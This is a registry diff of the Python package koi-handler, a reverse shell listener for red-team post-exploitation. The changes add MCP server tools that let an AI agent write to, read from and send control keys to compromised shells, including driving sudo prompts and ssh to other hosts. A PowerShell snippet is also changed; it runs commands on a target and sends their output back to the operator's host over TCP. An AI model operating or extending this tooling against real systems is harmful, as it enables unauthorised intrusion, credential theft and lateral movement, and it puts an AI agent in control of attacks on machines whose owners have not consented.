koi-handler 0.12.4__tar.gz → 0.12.5__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (71) hide show
  1. {koi_handler-0.12.4/src/koi_handler.egg-info → koi_handler-0.12.5}/PKG-INFO +1 -1
  2. {koi_handler-0.12.4 → koi_handler-0.12.5}/pyproject.toml +1 -1
  3. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/listener.py +0 -6
  4. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/mcp/schema.py +0 -4
  5. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/mcp/server.py +202 -12
  6. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/blueprint.py +2 -2
  7. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/download.py +1 -1
  8. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/upload.py +1 -1
  9. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/upload64.py +1 -1
  10. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/tunnel/engine/__main__.py +1 -4
  11. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/ui.py +2 -0
  12. {koi_handler-0.12.4 → koi_handler-0.12.5/src/koi_handler.egg-info}/PKG-INFO +1 -1
  13. {koi_handler-0.12.4 → koi_handler-0.12.5}/LICENSE +0 -0
  14. {koi_handler-0.12.4 → koi_handler-0.12.5}/setup.cfg +0 -0
  15. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/main.py +0 -0
  16. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/mcp/__init__.py +0 -0
  17. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/duplicate.py +0 -0
  18. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/get_processes.py +0 -0
  19. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/get_users.py +0 -0
  20. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/ligolo.py +0 -0
  21. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/loader.py +0 -0
  22. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/network_enum.py +0 -0
  23. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/peas.py +0 -0
  24. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/populate_win.py +0 -0
  25. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/secrets_dump.py +0 -0
  26. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/sharphound.py +0 -0
  27. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/ssh_persist.py +0 -0
  28. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/sysinfo.py +0 -0
  29. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/wifi_enum.py +0 -0
  30. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/modules/winscalate.py +0 -0
  31. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/session.py +0 -0
  32. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/tunnel/__init__.py +0 -0
  33. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/tunnel/agent_payload.py +0 -0
  34. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/tunnel/engine/__init__.py +0 -0
  35. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/tunnel/engine/agent.py +0 -0
  36. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/tunnel/engine/packet.py +0 -0
  37. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/tunnel/engine/proxy.py +0 -0
  38. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/tunnel/engine/stack.py +0 -0
  39. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/tunnel/engine/tcp.py +0 -0
  40. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/tunnel/engine/transport.py +0 -0
  41. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/tunnel/engine/tun.py +0 -0
  42. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/tunnel/manager.py +0 -0
  43. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/__init__.py +0 -0
  44. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/bash_obfuscate.py +0 -0
  45. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/cache.py +0 -0
  46. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/cli.py +0 -0
  47. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/config.py +0 -0
  48. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/config_ui.py +0 -0
  49. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/connect/__init__.py +0 -0
  50. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/connect/base.py +0 -0
  51. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/connect/ntlm.py +0 -0
  52. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/connect/ssh.py +0 -0
  53. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/connect/winrm.py +0 -0
  54. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/connect/wsman.py +0 -0
  55. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/constants.py +0 -0
  56. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/detect.py +0 -0
  57. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/interact.py +0 -0
  58. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/logger.py +0 -0
  59. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/models.py +0 -0
  60. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/obfuscate_ui.py +0 -0
  61. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/payloads.py +0 -0
  62. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/powerupgrade.py +0 -0
  63. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/ps_obfuscate.py +0 -0
  64. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/tcp.py +0 -0
  65. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/terminal.py +0 -0
  66. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi/utils/tls.py +0 -0
  67. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi_handler.egg-info/SOURCES.txt +0 -0
  68. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi_handler.egg-info/dependency_links.txt +0 -0
  69. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi_handler.egg-info/entry_points.txt +0 -0
  70. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi_handler.egg-info/requires.txt +0 -0
  71. {koi_handler-0.12.4 → koi_handler-0.12.5}/src/koi_handler.egg-info/top_level.txt +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.12.4
3
+ Version: 0.12.5
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "koi-handler"
7
- version = "0.12.4"
7
+ version = "0.12.5"
8
8
  description = "Reverse shell listener"
9
9
  requires-python = ">=3.10"
10
10
  dependencies = [
@@ -1231,11 +1231,5 @@ class Listener:
1231
1231
  return
1232
1232
  self._winch_pending = False
1233
1233
  if sess.os_type in ("windows_cmd", "windows_ps"):
1234
- if sess.is_conptyshell:
1235
- try:
1236
- cols, rows = shutil.get_terminal_size()
1237
- sess.send(f"\x08{cols}x{rows}".encode())
1238
- except Exception:
1239
- pass
1240
1234
  return
1241
1235
  self._sync_winsize(sess)
@@ -10,8 +10,6 @@ from typing import Any, Dict, List, Optional, Tuple, Type
10
10
 
11
11
  _ARRAY_NARGS = ("+", "*")
12
12
 
13
- # argparse `type=` callables we can express in JSON Schema. Anything else is
14
- # passed through as a string and left for argparse to coerce on the way back in.
15
13
  _SCALAR_TYPES: Dict[Any, str] = {
16
14
  int: "integer",
17
15
  float: "number",
@@ -74,7 +72,6 @@ def argument_schema(spec: Dict[str, Any]) -> Tuple[str, Dict[str, Any], bool]:
74
72
  if default is not None:
75
73
  schema["default"] = default
76
74
 
77
- # Only a positional with no default is truly required; nargs='*' tolerates empty.
78
75
  required = (
79
76
  _is_positional(flags)
80
77
  and default is None
@@ -129,7 +126,6 @@ def schema_to_argv(mod_cls: Type, values: Optional[Dict[str, Any]]) -> List[str]
129
126
 
130
127
  action = spec.get("action")
131
128
  if action in ("store_true", "store_false"):
132
- # Presence is the signal; store_false inverts it.
133
129
  wants_flag = bool(value) if action == "store_true" else not bool(value)
134
130
  if wants_flag:
135
131
  optionals.append(_primary_flag(flags))
@@ -19,8 +19,8 @@ from typing import TYPE_CHECKING, Any, Dict, List, Optional
19
19
 
20
20
  from koi.mcp.schema import module_input_schema, schema_to_argv
21
21
  from koi.modules.blueprint import KoiModule
22
- from koi.session import SessionBusy
23
- from koi.utils.constants import ANSI_RE
22
+ from koi.session import SessionBusy, recv_ready
23
+ from koi.utils.constants import ANSI_RE, SOCKET_BUFFER_SIZE
24
24
  from koi.utils.logger import list_logs, log_dir
25
25
  from koi.utils.ui import accent, muted, plain
26
26
 
@@ -40,9 +40,27 @@ _MAX_EXEC_TIMEOUT = 600.0
40
40
  _MAX_TAG_LEN = 64
41
41
  _MAX_OUTPUT_BYTES = 256 * 1024
42
42
 
43
+ _INTERACTIVE_MAX_WAIT = 30.0
44
+ _INTERACTIVE_IDLE_GRACE = 0.3
45
+ _INTERACTIVE_MAX_BYTES = 8 * 1024
46
+ _INTERACTIVE_DRAIN_CAP = 256 * 1024
43
47
 
44
- # Tools that mutate state or run code: never offered on a read-only connection.
45
- _EXEC_ONLY_TOOLS = {"koi_exec", "koi_tag", "koi_tunnel_start", "koi_tunnel_stop"}
48
+ _SIGNAL_KEYS: Dict[str, bytes] = {
49
+ "ctrl_c": b"\x03",
50
+ "ctrl_d": b"\x04",
51
+ "ctrl_l": b"\x0c",
52
+ "enter": b"\r",
53
+ "tab": b"\t",
54
+ "esc": b"\x1b",
55
+ "up": b"\x1b[A",
56
+ "down": b"\x1b[B",
57
+ }
58
+
59
+
60
+ _EXEC_ONLY_TOOLS = {
61
+ "koi_exec", "koi_tag", "koi_tunnel_start", "koi_tunnel_stop",
62
+ "koi_session_write", "koi_session_read", "koi_session_signal",
63
+ }
46
64
 
47
65
  _REQUIRED_PACKAGES = ("mcp", "uvicorn", "starlette")
48
66
 
@@ -97,7 +115,7 @@ def _exec_timeout(value) -> float:
97
115
  timeout = float(value)
98
116
  except ValueError:
99
117
  raise ValueError(f"timeout must be a number, got {value!r}") from None
100
- if timeout <= 0 or timeout != timeout: # NaN compares unequal to itself
118
+ if timeout <= 0 or timeout != timeout:
101
119
  raise ValueError(f"timeout must be greater than 0, got {value!r}")
102
120
  return min(timeout, _MAX_EXEC_TIMEOUT)
103
121
 
@@ -361,8 +379,13 @@ class KoiMCPServer:
361
379
  ),
362
380
  _tool(
363
381
  "koi_exec",
364
- "Run a shell command on a session (Linux or Windows) and return "
365
- "its stdout and exit code.",
382
+ "Run one shell command on a session (Linux or Windows) and "
383
+ "return its stdout and exit code. One-shot and non-interactive. "
384
+ "If a koi_module_* tool covers the task use it instead; in "
385
+ "particular move files with koi_module_upload / "
386
+ "koi_module_download, not by echoing bytes here. For a program "
387
+ "that prompts or stays interactive, use "
388
+ "koi_session_write/read/signal.",
366
389
  {
367
390
  "session": session,
368
391
  "command": {"type": "string", "description": "Command to run."},
@@ -419,6 +442,52 @@ class KoiMCPServer:
419
442
  {"session": session},
420
443
  ["session"],
421
444
  ),
445
+ _tool(
446
+ "koi_session_write",
447
+ "Interactive mode: write raw text to a session's shell, no newline "
448
+ "added (include \\n yourself to submit a line). Use this with "
449
+ "koi_session_read to drive interactive programs koi_exec cannot "
450
+ "handle (sudo/password prompts, REPLs, ssh). Does not wait for or "
451
+ "return output; call koi_session_read after. Not for file "
452
+ "transfer: use koi_module_upload / koi_module_download.",
453
+ {
454
+ "session": session,
455
+ "data": {"type": "string", "description": "Raw text to send as-is."},
456
+ },
457
+ ["session", "data"],
458
+ ),
459
+ _tool(
460
+ "koi_session_read",
461
+ "Interactive mode: drain and return output waiting on a session "
462
+ "since the last read. Non-blocking beyond 'wait'. The result is "
463
+ "tail-capped, so it stays cheap. 'producing' true means output was "
464
+ "still flowing (call again); false means it settled or nothing came.",
465
+ {
466
+ "session": session,
467
+ "wait": {
468
+ "type": "number",
469
+ "description": "Max seconds to wait for output (0-30).",
470
+ "default": 1,
471
+ },
472
+ },
473
+ ["session"],
474
+ ),
475
+ _tool(
476
+ "koi_session_signal",
477
+ "Interactive mode: send a control key to a session. One of: "
478
+ "ctrl_c, ctrl_d, ctrl_l, enter, tab, esc, up, down. Ctrl+C "
479
+ "reliably interrupts a running process only on an upgraded (PTY) "
480
+ "session; on a raw shell it just sends the byte.",
481
+ {
482
+ "session": session,
483
+ "key": {
484
+ "type": "string",
485
+ "description": "Control key name.",
486
+ "enum": sorted(_SIGNAL_KEYS),
487
+ },
488
+ },
489
+ ["session", "key"],
490
+ ),
422
491
  ]
423
492
 
424
493
  def _module_tools(self) -> List[Dict[str, Any]]:
@@ -442,7 +511,6 @@ class KoiMCPServer:
442
511
  f"{(cls.description or '').strip()} (targets: {targets})",
443
512
  schema["properties"],
444
513
  schema["required"],
445
- # camelCase: ToolAnnotations fields carry no alias in mcp 2.x.
446
514
  annotations={"destructiveHint": True},
447
515
  )
448
516
  )
@@ -512,6 +580,15 @@ class KoiMCPServer:
512
580
  if name == "koi_exec":
513
581
  return self._do_exec(arguments)
514
582
 
583
+ if name == "koi_session_write":
584
+ return self._do_session_write(arguments)
585
+
586
+ if name == "koi_session_read":
587
+ return self._do_session_read(arguments)
588
+
589
+ if name == "koi_session_signal":
590
+ return self._do_session_signal(arguments)
591
+
515
592
  if name.startswith(_MODULE_TOOL_PREFIX):
516
593
  return self._do_run_module(name[len(_MODULE_TOOL_PREFIX):], arguments)
517
594
 
@@ -566,6 +643,111 @@ class KoiMCPServer:
566
643
  payload["truncated"] = True
567
644
  return json.dumps(payload, indent=2)
568
645
 
646
+ def _drain_session(self, sess: "Session", wait: float) -> tuple[str, bool, bool]:
647
+ """Drain pending socket output for up to *wait* seconds.
648
+
649
+ No sentinel: there is no notion of a command finishing here, so the read
650
+ settles on an idle grace instead. Returns (text, producing, truncated).
651
+ """
652
+ wait = max(0.0, min(float(wait), _INTERACTIVE_MAX_WAIT))
653
+ hard_cap = _INTERACTIVE_DRAIN_CAP
654
+
655
+ buf = b""
656
+ producing = False
657
+ try:
658
+ with sess.io(holder="mcp:interactive", timeout=_IO_TIMEOUT):
659
+ deadline = time.monotonic() + wait
660
+ last_data = None
661
+ while True:
662
+ now = time.monotonic()
663
+ if now >= deadline:
664
+ producing = last_data is not None
665
+ break
666
+ if last_data is not None and (now - last_data) >= _INTERACTIVE_IDLE_GRACE:
667
+ break
668
+ slice_timeout = min(deadline - now, _INTERACTIVE_IDLE_GRACE)
669
+ if not recv_ready(sess.conn, slice_timeout):
670
+ continue
671
+ chunk = sess.recv(SOCKET_BUFFER_SIZE)
672
+ if not chunk:
673
+ sess.alive = False
674
+ break
675
+ buf += chunk
676
+ last_data = time.monotonic()
677
+ if len(buf) >= hard_cap:
678
+ producing = True
679
+ break
680
+ except SessionBusy as exc:
681
+ raise RuntimeError(str(exc)) from exc
682
+
683
+ if sess._logger and buf:
684
+ sess._logger.log_output(buf)
685
+
686
+ text = _strip_ansi(buf.decode(sess.encoding or "utf-8", errors="replace"))
687
+ truncated = False
688
+ if len(text) > _INTERACTIVE_MAX_BYTES:
689
+ text = "[... earlier output truncated ...]\n" + text[-_INTERACTIVE_MAX_BYTES:]
690
+ truncated = True
691
+ return text, producing, truncated
692
+
693
+ def _do_session_write(self, arguments: Dict[str, Any]) -> str:
694
+ self._require_exec()
695
+ sess = self._resolve(arguments["session"])
696
+ data = arguments.get("data")
697
+ if not isinstance(data, str) or data == "":
698
+ raise ValueError("data must be a non-empty string")
699
+
700
+ ts = time.strftime("%H:%M:%S")
701
+ self.listener._announce('status', f"{accent(ts)} {plain('MCP: write')} {muted(data.strip() or data)} {plain(f'on session #{sess.id}')}")
702
+ with _capture_output():
703
+ logger_obj = self.listener._ensure_logger(sess)
704
+ sess.attach_logger(logger_obj)
705
+
706
+ raw = data.encode(sess.encoding, errors="replace")
707
+ if not sess.send(raw):
708
+ raise RuntimeError(f"Session #{sess.id} is no longer alive")
709
+ return json.dumps({"session": sess.id, "sent": len(raw)})
710
+
711
+ def _do_session_read(self, arguments: Dict[str, Any]) -> str:
712
+ self._require_exec()
713
+ sess = self._resolve(arguments["session"])
714
+ wait = arguments.get("wait", 1)
715
+ if isinstance(wait, bool) or not isinstance(wait, (int, float)):
716
+ raise ValueError("wait must be a number")
717
+
718
+ with _capture_output():
719
+ logger_obj = self.listener._ensure_logger(sess)
720
+ sess.attach_logger(logger_obj)
721
+
722
+ text, producing, truncated = self._drain_session(sess, wait)
723
+ payload = {
724
+ "session": sess.id,
725
+ "output": text,
726
+ "producing": producing,
727
+ }
728
+ if truncated:
729
+ payload["truncated"] = True
730
+ return json.dumps(payload, indent=2)
731
+
732
+ def _do_session_signal(self, arguments: Dict[str, Any]) -> str:
733
+ self._require_exec()
734
+ sess = self._resolve(arguments["session"])
735
+ key = arguments.get("key")
736
+ seq = _SIGNAL_KEYS.get(key) if isinstance(key, str) else None
737
+ if seq is None:
738
+ valid = ", ".join(sorted(_SIGNAL_KEYS))
739
+ raise ValueError(f"Unknown key {key!r}; valid keys: {valid}")
740
+
741
+ ts = time.strftime("%H:%M:%S")
742
+ self.listener._announce('status', f"{accent(ts)} {plain('MCP: signal')} {muted(key)} {plain(f'on session #{sess.id}')}")
743
+ with _capture_output():
744
+ logger_obj = self.listener._ensure_logger(sess)
745
+ sess.attach_logger(logger_obj)
746
+
747
+ if not sess.send(seq):
748
+ raise RuntimeError(f"Session #{sess.id} is no longer alive")
749
+ return json.dumps({"session": sess.id, "sent_key": key})
750
+
569
751
  def _do_run_module(self, mod_name: str, arguments: Dict[str, Any]) -> str:
570
752
  self._require_exec()
571
753
  from koi.modules.loader import get_module
@@ -700,9 +882,18 @@ class KoiMCPServer:
700
882
  "session ids are reused across tools and a tag can replace an id.\n\n"
701
883
  "One command runs on a session at a time. A tool call fails fast "
702
884
  "with a busy error when the operator is interacting with that shell, "
703
- "which is expected: retry later rather than escalating. Prefer a "
704
- "module over a hand-written command when one covers the task, since "
705
- "modules handle the per-OS quirks and the PTY protocol already."
885
+ "which is expected: retry later rather than escalating.\n\n"
886
+ "Pick a tool in this order. First, if a koi_module_* tool covers the "
887
+ "task, prefer it: modules handle the per-OS quirks, chunking and "
888
+ "integrity checks a hand-written command does not. In particular, "
889
+ "move files with koi_module_upload / koi_module_download, never by "
890
+ "echoing base64 through koi_exec. Second, for a simple one-shot "
891
+ "command no module covers, use koi_exec. Third, for a program "
892
+ "koi_exec cannot handle because it prompts or stays interactive "
893
+ "(sudo/password prompts, a REPL, ssh to another host), drive the "
894
+ "shell with koi_session_write / koi_session_read / koi_session_signal: "
895
+ "write input, then read until 'producing' is false, and send control "
896
+ "keys (e.g. ctrl_c) with koi_session_signal."
706
897
  )
707
898
 
708
899
  def _build_app(self):
@@ -762,7 +953,6 @@ class KoiMCPServer:
762
953
  )
763
954
  return
764
955
  elif scope_type != "lifespan":
765
- # Fail closed: any other transport (e.g. websocket) must not bypass the token.
766
956
  return
767
957
  await inner(scope, receive, send)
768
958
 
@@ -298,7 +298,7 @@ class KoiModule(ABC):
298
298
  raw, buf = buf.split(b"\n", 1)
299
299
  text = raw.decode(enc, errors="replace").strip("\r\n ")
300
300
  text = _PS_PROMPT.sub("", text).strip()
301
- if not text or "Write-Host" in text:
301
+ if not text:
302
302
  continue
303
303
  if marker in text:
304
304
  if text == marker:
@@ -324,7 +324,7 @@ class KoiModule(ABC):
324
324
  local_ip = self._get_local_ip()
325
325
  with TCPReceiveServer(timeout=timeout, expected_ip=self.session.addr[0]) as srv:
326
326
  ps_cmd = (
327
- f"$_r=({ps_expr})|Out-String;"
327
+ f"$_r=(& {{ {ps_expr} }})|Out-String;"
328
328
  f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{srv.port});"
329
329
  f"$_s=$_c.GetStream();"
330
330
  f"$_b=[Text.Encoding]::UTF8.GetBytes($_r.Trim());"
@@ -21,7 +21,7 @@ def _remote_basename(path: str) -> str:
21
21
 
22
22
  class DownloadModule(KoiModule):
23
23
  name = "download"
24
- description = "Download a file or directory from the target."
24
+ description = "Download a file or directory from the target, chunked over a side channel and size-verified."
25
25
  usage = "download <id> <remote_path> [-o <local_path>]"
26
26
  category = "File transfer"
27
27
  platform = ["linux", "windows_ps"]
@@ -13,7 +13,7 @@ _DIR_TIMEOUT = max(TIMEOUTS.get("download", 300) * 2, 600)
13
13
 
14
14
  class UploadModule(KoiModule):
15
15
  name = "upload"
16
- description = "Upload a file or directory to the target."
16
+ description = "Upload a file or directory to the target, chunked over a side channel and size-verified."
17
17
  usage = "upload <id> <local_path> [-o <remote_path>]"
18
18
  category = "File transfer"
19
19
  platform = ["linux", "windows_ps"]
@@ -11,7 +11,7 @@ _DEFAULT_CHUNK = 49152
11
11
 
12
12
  class Upload64Module(KoiModule):
13
13
  name = "upload64"
14
- description = "Upload a file via base64 chunks (for restricted shells)."
14
+ description = "Upload a file via base64 chunks, for restricted shells with no side-channel egress."
15
15
  usage = "upload64 <id> <local_path> [-o <remote_path>] [-c <chunk_size>]"
16
16
  category = "File transfer"
17
17
  platform = ["linux", "windows_ps", "windows_cmd"]
@@ -23,9 +23,6 @@ def _psk(args) -> str:
23
23
 
24
24
 
25
25
  def build_parser() -> argparse.ArgumentParser:
26
- # -v must work before AND after the subcommand, hence the shared parent.
27
- # SUPPRESS is essential: without it the subparser re-injects its
28
- # False default and overrides a -v placed before the subcommand.
29
26
  common = argparse.ArgumentParser(add_help=False)
30
27
  common.add_argument(
31
28
  "-v", "--verbose", action="store_true",
@@ -67,7 +64,7 @@ def build_parser() -> argparse.ArgumentParser:
67
64
 
68
65
  def main(argv: list[str] | None = None) -> int:
69
66
  args = build_parser().parse_args(argv)
70
- _setup_logging(getattr(args, "verbose", False)) # SUPPRESS: absent when not passed
67
+ _setup_logging(getattr(args, "verbose", False))
71
68
  psk = _psk(args)
72
69
 
73
70
  if args.role == "proxy":
@@ -46,6 +46,8 @@ MOTD = [
46
46
  "Use koireview to see your shells history",
47
47
  "You can use \"koifuscator\" to directly use the obfuscator",
48
48
  "I'm building this tool alone, do not hesitate to contribute or report issues on GitHub !",
49
+ "Also try Penelope!",
50
+ "No rust rewrite is planned •`_´•",
49
51
  ]
50
52
 
51
53
  def color_signal(signal):
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.12.4
3
+ Version: 0.12.5
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
File without changes
File without changes